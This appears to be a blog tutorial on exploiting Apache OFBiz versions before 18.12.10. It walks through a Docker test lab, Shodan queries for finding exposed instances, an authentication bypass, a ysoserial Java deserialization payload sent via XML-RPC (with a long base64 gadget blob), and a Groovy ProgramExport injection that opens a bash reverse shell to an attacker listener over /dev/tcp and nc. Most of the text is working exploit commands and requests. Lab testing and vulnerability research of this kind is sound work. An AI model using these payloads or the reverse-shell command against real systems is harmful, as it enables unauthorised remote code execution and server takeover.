How to test and exploit Apache Ofbiz < 18.12.10. Authentication Bypass & Command Injection
How to test and exploit Apache Ofbiz < 18.12.10 Authentication Bypass & Command Injection
André Eichhofer
Preparing the test environment
- Download package and unpack under any Linux directory
- Build OFBiz container image
- Navigate into Ofbiz directory
DOCKER_BUILDKIT=1 docker build --tag ofbiz-docker .
docker run -it -e OFBIZ_DATA_LOAD=demo --name ofbiz-docker -p 8443:8443 ofbiz-docker
: Run Ofbiz container
- Add hostname on MacOS
If you want to call the application from a browser in a different host, you must add the hostname and IP from the test host.cat /etc/hostname
192.168.6.128 demo-trunk.ofbiz.apache.org
- see
ofbiz/framework/security/config/security.properties
- Start application
https://demo-trunk.ofbiz.apache.org:8443/partymgr
- Credentials: admin:ofbiz
mitmproxy --ssl-insecure
http --verify=no https://localhost:8443/partymgr --proxy=https:http://127.0.0.1:8000
: send request through mitmproxy
Reconnaissance
Shodan
OFBiz.Visitor
http.html:"ordermgr"
http.html:"release18.12"
OFBiz.Visitor http.html:"Order Manager"+"release"
Preconditions
Affected are versions 18.12.10. or earlier. The xmlrpc
endpoint must exist at the vulnerable Ofbiz version:
192.168.6.128:8443/webtools/control/xmlrpc
: check forxmlrpc
endpoint192.168.6.128:8443/webtools/control/ping/
: check forping
endpoint
Authentication bypass
There is an authorization bypass which allows to execute build-in commands under /webtools/control/
unauthorized. (The bypass only allows the execution of build-in commands, login bypass is not possible.)
Test authorization bypass with build-in ping
command:
https://192.168.6.128:8443/webtools/control/ping/?USERNAME=&PASSWORD=&requirePasswordChange=Y
HTTP/1.1 200 OK
Pong
XMLRPC Command injection
If xmlrpc
is available, the authorization bypass allows the execution of arbitrary commands through xmlrpc
. The code can be injected as base64 encoded java command. You need to send a post request in XML structure containing the serializable java code.
- Test if xmlrpc endpoint is accessible

-
Prepare payload
The payload is a base64 encoded java command.
Generate the payload with ysoserial as follows:
java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add- opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsBeanutils1 <your_command> | base64 | tr -d "\n"
Example: touch test.txt
java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsBeanutils1 "touch test.txt" | base64 | tr -d "\n"
The output is base64 encoded payload:
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABsDK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGx
-
Craft a POST request containing the payload
Next craft a POST request containg an XML structure with the payload. The base 64 encoded payload is inserted at the serialized_data injection point.
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_data</serializable
Example
POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 Host: localhost:8443 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Length: 3969 Content-Type: application/xml <?xml version="1.0"?> <methodCall> <methodName>Methodname</methodName> <params> <param> <value> <struct> <member> <name>test</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3........</serializable> </value> </member> </struct> </value> </param> </params> </methodCall>
Note: The response contains the same XML “faultcode” message as when testing the
xmlrpc
endpoint (see above).
-
Check Docker container
Check Docker container if the payload (
touch test.txt
) was executed:docker exec -it ofbiz-docker /bin/bash
The file should have been created within the
/ofbiz
folder.
https://www.prio-n.com/blog/cve-2023-49070-51467-attacking-defending-Apache-OFBiz
https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/
Groovy Program Export command injection
A second command injection is possible by authentication bypass and through the Groovy Programm Export endpoint under https://localhost:8443/webtools/control/ProgramExport/
.
-
Test if the endpoint is accessible
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 Host: demo-trunk.ofbiz.apache.org:8443 Cookie: JSESSIONID=49304432186DE22274E38DCB9034EC75.jvm1; webtools.securedLoginId=admin; OFBiz.Visitor=10101 ... ... Connection: close groovyProgram=<groovy_payload_here>
-
Start a listener on the attacker machine
nc -lp 8888
-
Execute a reverse shell on the victim machine
http --verify=no --print hH --form POST "https://localhost:8443/webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y" groovyProgram="x=new String[3];x[0]='bash';x[1]='-c';x[2]='bash -i >%26 /dev/tcp/192.168.8.2/8888 0>%261;';x.execute();"
Links: